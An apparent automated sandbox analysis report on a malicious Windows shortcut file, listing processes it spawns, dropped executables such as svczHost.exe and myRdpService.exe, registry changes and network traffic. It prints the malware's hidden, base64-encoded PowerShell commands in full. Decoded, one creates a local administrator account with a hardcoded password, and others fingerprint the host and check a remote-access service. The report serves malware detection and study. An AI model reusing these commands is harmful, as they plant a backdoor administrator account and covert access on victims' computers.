B2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\st5qs1wr\st5qs1wr.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\st5qs1wr\st5qs1wr.cmdline"			Jump to behavior

Source: svczHost.exe.12.dr	Static PE information: section name: .managed
Source: svczHost.exe.12.dr	Static PE information: section name: hydrated
Source: myRdpService.exe.20.dr	Static PE information: section name: .managed
Source: myRdpService.exe.20.dr	Static PE information: section name: hydrated

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFE922E00BD pushad ; iretd	2_2_00007FFE922E00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFE922C00BD pushad ; iretd	3_2_00007FFE922C00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFE9218D2A5 pushad ; iretd	7_2_00007FFE9218D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFE922A00BD pushad ; iretd	7_2_00007FFE922A00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFE922A1FFF push eax; iretd	7_2_00007FFE922A2009
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFE921BD2A5 pushad ; iretd	12_2_00007FFE921BD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFE922D00BD pushad ; iretd	12_2_00007FFE922D00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_00007FFE922E00BD pushad ; iretd	24_2_00007FFE922E00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_00007FFE922B00BD pushad ; iretd	28_2_00007FFE922B00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_00007FFE922BD716 push 8B485F4Eh; iretd	28_2_00007FFE922BD71C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 53_2_00007FFE922D00BD pushad ; iretd	53_2_00007FFE922D00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 54_2_00007FFE922B00BD pushad ; iretd	54_2_00007FFE922B00C1

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\cmd.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\svczHost.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\st5qs1wr\st5qs1wr.dll	Jump to dropped file
Source: C:\Windows\Temp\svczHost.exe	File created: C:\Windows\Temp\myRdpService.exe	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\svczHost.exe			Jump to dropped file
Source: C:\Windows\Temp\svczHost.exe	File created: C:\Windows\Temp\myRdpService.exe			Jump to dropped file

Source: C:\Windows\Temp\myRdpService.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Application\myRdpService

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc query myRdpService

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49767

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
